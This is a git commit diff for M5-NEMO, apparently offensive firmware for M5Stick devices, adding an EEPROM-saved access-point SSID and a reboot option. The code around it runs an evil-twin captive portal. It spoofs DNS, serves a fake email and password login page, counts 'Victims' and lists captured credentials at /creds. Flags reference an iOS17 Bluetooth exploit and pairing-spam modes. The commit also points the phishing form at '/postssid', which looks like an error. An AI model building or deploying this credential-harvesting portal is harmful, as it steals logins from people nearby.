Add the ability to change wifi SSID, saves to EEPROM
This commit is contained in:
parent
c18839b9b6
commit
b0705c3e0e
|
@ -2,9 +2,9 @@
|
|||
// github.com/n0xa | IG: @4x0nn
|
||||
|
||||
// -=-=-=-=-=-=- Uncomment the platform you're building for -=-=-=-=-=-=-
|
||||
//#define STICK_C_PLUS
|
||||
#define STICK_C_PLUS
|
||||
//#define STICK_C_PLUS2
|
||||
#define STICK_C
|
||||
//#define STICK_C
|
||||
//#define CARDPUTER
|
||||
// -=-=- Uncommenting more than one at a time will result in errors -=-=-
|
||||
|
||||
|
@ -151,6 +151,32 @@ String buildver="2.2.2";
|
|||
// 18 - QR Codes
|
||||
// 19 - NEMO Portal
|
||||
|
||||
int advtime = 0;
|
||||
int cursor = 0;
|
||||
int wifict = 0;
|
||||
int brightness = 100;
|
||||
int ajDelay = 1000;
|
||||
int apSsidOffset = 16;
|
||||
int apSsidMaxLen = 32;
|
||||
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
|
||||
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
|
||||
bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
|
||||
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
|
||||
bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
|
||||
bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly
|
||||
const byte PortalTickTimer = 1000;
|
||||
String apSsidName = String("");
|
||||
bool isSwitching = true;
|
||||
#if defined(RTC)
|
||||
int current_proc = 0; // Start in Clock Mode
|
||||
#else
|
||||
int current_proc = 1; // Start in Main Menu mode if no RTC
|
||||
#endif
|
||||
|
||||
#if defined(USE_EEPROM)
|
||||
#include <EEPROM.h>
|
||||
#define EEPROM_SIZE 64
|
||||
#endif
|
||||
#include <IRremoteESP8266.h>
|
||||
#include <IRsend.h>
|
||||
#include <DNSServer.h>
|
||||
|
@ -163,24 +189,6 @@ String buildver="2.2.2";
|
|||
#include <BLEUtils.h>
|
||||
#include <BLEServer.h>
|
||||
|
||||
int advtime = 0;
|
||||
int cursor = 0;
|
||||
int wifict = 0;
|
||||
int brightness = 100;
|
||||
int ajDelay = 1000;
|
||||
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
|
||||
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
|
||||
bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
|
||||
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
|
||||
bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
|
||||
bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly
|
||||
const byte PortalTickTimer = 1000;
|
||||
|
||||
#if defined(USE_EEPROM)
|
||||
#include <EEPROM.h>
|
||||
#define EEPROM_SIZE 4
|
||||
#endif
|
||||
|
||||
struct MENU {
|
||||
char name[19];
|
||||
int command;
|
||||
|
@ -198,12 +206,6 @@ QRCODE qrcodes[] = {
|
|||
{ "ZomboCom", "https://html5zombo.com/"},
|
||||
};
|
||||
|
||||
bool isSwitching = true;
|
||||
#if defined(RTC)
|
||||
int current_proc = 0; // Start in Clock Mode
|
||||
#else
|
||||
int current_proc = 1; // Start in Main Menu mode if no RTC
|
||||
#endif
|
||||
|
||||
void drawmenu(MENU thismenu[], int size) {
|
||||
DISP.setTextSize(SMALL_TEXT);
|
||||
|
@ -285,7 +287,7 @@ bool check_next_press(){
|
|||
dimtimer();
|
||||
return true;
|
||||
}
|
||||
M5Cardputer.update();
|
||||
//M5Cardputer.update();
|
||||
if (M5Cardputer.Keyboard.isKeyPressed(KEY_TAB) || M5Cardputer.Keyboard.isKeyPressed('.')){
|
||||
dimtimer();
|
||||
return true;
|
||||
|
@ -467,6 +469,7 @@ MENU smenu[] = {
|
|||
{ "Rotation", 7},
|
||||
#endif
|
||||
{ "About", 10},
|
||||
{ "Reboot", 98},
|
||||
#if defined(USE_EEPROM)
|
||||
{ "Clear Settings", 99},
|
||||
#endif
|
||||
|
@ -482,12 +485,19 @@ void smenu_setup() {
|
|||
|
||||
void clearSettings(){
|
||||
#if defined(USE_EEPROM)
|
||||
EEPROM.write(0, 255); // Rotation
|
||||
EEPROM.write(1, 255); // dim time
|
||||
EEPROM.write(2, 255); // brightness
|
||||
EEPROM.write(3, 255); // TV-B-Gone Region
|
||||
for(int i = 0; i < EEPROM_SIZE; i++) {
|
||||
EEPROM.write(i, 255);
|
||||
}
|
||||
EEPROM.commit();
|
||||
#endif
|
||||
screenBrightness(100);
|
||||
DISP.fillScreen(BGCOLOR);
|
||||
DISP.setTextSize(BIG_TEXT);
|
||||
DISP.setCursor(40, 0);
|
||||
DISP.println("M5-NEMO");
|
||||
DISP.setTextSize(SMALL_TEXT);
|
||||
DISP.println("Restoring Default\nSettings...");
|
||||
delay(5000);
|
||||
ESP.restart();
|
||||
}
|
||||
|
||||
|
@ -501,6 +511,9 @@ void smenu_loop() {
|
|||
if (check_select_press()) {
|
||||
rstOverride = false;
|
||||
isSwitching = true;
|
||||
if(smenu[cursor].command == 98){
|
||||
ESP.restart();
|
||||
}
|
||||
if(smenu[cursor].command == 99){
|
||||
clearSettings();
|
||||
}
|
||||
|
@ -1524,9 +1537,6 @@ void wscan_loop(){
|
|||
|
||||
void bootScreen(){
|
||||
// Boot Screen
|
||||
if(check_next_press()){
|
||||
clearSettings();
|
||||
}
|
||||
DISP.fillScreen(BGCOLOR);
|
||||
DISP.setTextSize(BIG_TEXT);
|
||||
DISP.setCursor(40, 0);
|
||||
|
@ -1633,6 +1643,9 @@ void setup() {
|
|||
#else
|
||||
M5.begin();
|
||||
#endif
|
||||
if(check_next_press()){
|
||||
clearSettings();
|
||||
}
|
||||
#if defined(USE_EEPROM)
|
||||
EEPROM.begin(EEPROM_SIZE);
|
||||
Serial.printf("EEPROM 0 - Rotation: %d\n", EEPROM.read(0));
|
||||
|
@ -1657,12 +1670,8 @@ void setup() {
|
|||
brightness = EEPROM.read(2);
|
||||
region = EEPROM.read(3);
|
||||
#endif
|
||||
screenBrightness(brightness);
|
||||
dimtimer();
|
||||
DISP.setRotation(rotation);
|
||||
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
||||
bootScreen();
|
||||
|
||||
getSSID();
|
||||
|
||||
// Pin setup
|
||||
#if defined(M5LED)
|
||||
pinMode(M5_LED, OUTPUT);
|
||||
|
@ -1687,6 +1696,12 @@ void setup() {
|
|||
// Nemo Portal Init
|
||||
setupSdCard();
|
||||
bootTime = lastActivity = millis();
|
||||
|
||||
screenBrightness(brightness);
|
||||
dimtimer();
|
||||
DISP.setRotation(rotation);
|
||||
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
||||
bootScreen();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
|
|
106
portal.h
106
portal.h
|
@ -31,7 +31,6 @@
|
|||
int totalCapturedCredentials = 0;
|
||||
int previousTotalCapturedCredentials = 0;
|
||||
String capturedCredentialsHtml = "";
|
||||
String apSsidName = String(DEFAULT_AP_SSID_NAME);
|
||||
|
||||
// Init System Settings
|
||||
const byte HTTP_CODE = 200;
|
||||
|
@ -48,21 +47,62 @@ void setupWiFi() {
|
|||
WiFi.softAP(apSsidName);
|
||||
}
|
||||
|
||||
void setSSID(String ssid){
|
||||
#if defined USE_EEPROM
|
||||
Serial.printf("Writing %d bytes of SSID to EEPROM\n", ssid.length());
|
||||
for(int i = 0; i < ssid.length(); i++) {
|
||||
EEPROM.write(i + apSsidOffset, ssid[i]);
|
||||
Serial.printf("%d:%d ", i+ apSsidOffset, ssid[i]);
|
||||
}
|
||||
EEPROM.write(apSsidOffset + ssid.length(), 0);
|
||||
EEPROM.commit();
|
||||
Serial.println("\ndone.");
|
||||
#endif
|
||||
apSsidName=ssid;
|
||||
return;
|
||||
}
|
||||
|
||||
void getSSID(){
|
||||
String ssid="";
|
||||
#if defined USE_EEPROM
|
||||
if(EEPROM.read(apSsidOffset) < 32 || EEPROM.read(apSsidOffset) > 254){
|
||||
Serial.println("SSID EEPROM Corrupt or Uninitialized. Using Defaults.");
|
||||
apSsidName=DEFAULT_AP_SSID_NAME;
|
||||
return;
|
||||
}
|
||||
for(int i = apSsidOffset; i < apSsidOffset + apSsidMaxLen; i++) {
|
||||
int ebyte=EEPROM.read(i);
|
||||
Serial.printf("%d:%d ", i, ebyte);
|
||||
if(ebyte < 32 || ebyte > 254){
|
||||
Serial.println("SSID: " + ssid);
|
||||
apSsidName=ssid;
|
||||
return;
|
||||
}
|
||||
ssid += char(ebyte);
|
||||
}
|
||||
#else
|
||||
apSsidName=DEFAULT_AP_SSID_NAME;
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
void printHomeToScreen() {
|
||||
DISP.fillScreen(BLACK);
|
||||
DISP.setSwapBytes(true);
|
||||
DISP.setTextSize(2);
|
||||
DISP.setTextSize(MEDIUM_TEXT);
|
||||
DISP.setTextColor(TFT_RED, BGCOLOR);
|
||||
DISP.setCursor(0, 10);
|
||||
DISP.print("NEMO PORTAL");
|
||||
DISP.setCursor(0, 0);
|
||||
DISP.println("NEMO PORTAL");
|
||||
DISP.setTextSize(SMALL_TEXT);
|
||||
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
||||
DISP.setCursor(0, 35);
|
||||
DISP.printf("%s\n\n",apSsidName.c_str());
|
||||
DISP.print("WiFi IP: ");
|
||||
DISP.println(AP_GATEWAY);
|
||||
DISP.printf("SSID: "); //, apSsidName);
|
||||
DISP.print(apSsidName);
|
||||
DISP.println("");
|
||||
DISP.printf("Victim Count: %d\n", totalCapturedCredentials);
|
||||
DISP.println("Paths: /creds /ssid");
|
||||
DISP.setTextSize(MEDIUM_TEXT);
|
||||
DISP.setTextColor(TFT_RED, BGCOLOR);
|
||||
DISP.printf("Victims: %d\n", totalCapturedCredentials);
|
||||
DISP.setTextColor(FGCOLOR, BGCOLOR);
|
||||
}
|
||||
|
||||
String getInputValue(String argName) {
|
||||
|
@ -115,7 +155,7 @@ String index_GET() {
|
|||
String loginMessage = String(LOGIN_MESSAGE);
|
||||
String loginButton = String(LOGIN_BUTTON);
|
||||
|
||||
return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/post' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>");
|
||||
return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/postssid' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>");
|
||||
}
|
||||
|
||||
String index_POST() {
|
||||
|
@ -129,6 +169,18 @@ String index_POST() {
|
|||
return getHtmlContents(LOGIN_AFTER_MESSAGE);
|
||||
}
|
||||
|
||||
String ssid_GET() {
|
||||
return getHtmlContents("<p>Set a new SSID for NEMO Portal:</p><form action='/postssid' id='login-form'><input name='ssid' class='input-field' type='text' placeholder='"+apSsidName+"' required><button id=submitbtn class=submit-btn type=submit>Apply</button></div></form>");
|
||||
}
|
||||
|
||||
String ssid_POST() {
|
||||
String ssid = getInputValue("ssid");
|
||||
Serial.println("SSID Has been changed to " + ssid);
|
||||
setSSID(ssid);
|
||||
printHomeToScreen();
|
||||
return getHtmlContents("NEMO Portal shutting down and restarting with SSID <b>" + ssid + "</b>. Please reconnect.");
|
||||
}
|
||||
|
||||
String clear_GET() {
|
||||
String email = "<p></p>";
|
||||
String password = "<p></p>";
|
||||
|
@ -150,6 +202,17 @@ void blinkLed() {
|
|||
}
|
||||
#endif
|
||||
|
||||
void shutdownWebServer() {
|
||||
Serial.println("Stopping DNS");
|
||||
dnsServer.stop();
|
||||
Serial.println("Closing Webserver");
|
||||
webServer.close();
|
||||
Serial.println("Stopping Webserver");
|
||||
webServer.stop();
|
||||
Serial.println("Setting WiFi to STA mode");
|
||||
WiFi.mode(WIFI_MODE_STA);
|
||||
}
|
||||
|
||||
void setupWebServer() {
|
||||
Serial.println("Starting DNS");
|
||||
dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP)
|
||||
|
@ -169,6 +232,7 @@ void setupWebServer() {
|
|||
blinkLed();
|
||||
#endif
|
||||
});
|
||||
|
||||
Serial.println("Registering /creds");
|
||||
webServer.on("/creds", []() {
|
||||
webServer.send(HTTP_CODE, "text/html", creds_GET());
|
||||
|
@ -177,6 +241,17 @@ void setupWebServer() {
|
|||
webServer.on("/clear", []() {
|
||||
webServer.send(HTTP_CODE, "text/html", clear_GET());
|
||||
});
|
||||
Serial.println("Registering /ssid");
|
||||
webServer.on("/ssid", []() {
|
||||
webServer.send(HTTP_CODE, "text/html", ssid_GET());
|
||||
});
|
||||
Serial.println("Registering /postssid");
|
||||
webServer.on("/postssid", []() {
|
||||
webServer.send(HTTP_CODE, "text/html", ssid_POST());
|
||||
shutdownWebServer();
|
||||
isSwitching=true;
|
||||
current_proc=19;
|
||||
});
|
||||
Serial.println("Registering /*");
|
||||
webServer.onNotFound([]() {
|
||||
lastActivity = millis();
|
||||
|
@ -185,14 +260,3 @@ void setupWebServer() {
|
|||
Serial.println("Starting Webserver");
|
||||
webServer.begin();
|
||||
}
|
||||
|
||||
void shutdownWebServer() {
|
||||
Serial.println("Stopping DNS");
|
||||
dnsServer.stop();
|
||||
Serial.println("Closing Webserver");
|
||||
webServer.close();
|
||||
Serial.println("Stopping Webserver");
|
||||
webServer.stop();
|
||||
Serial.println("Setting WiFi to STA mode");
|
||||
WiFi.mode(WIFI_MODE_STA);
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue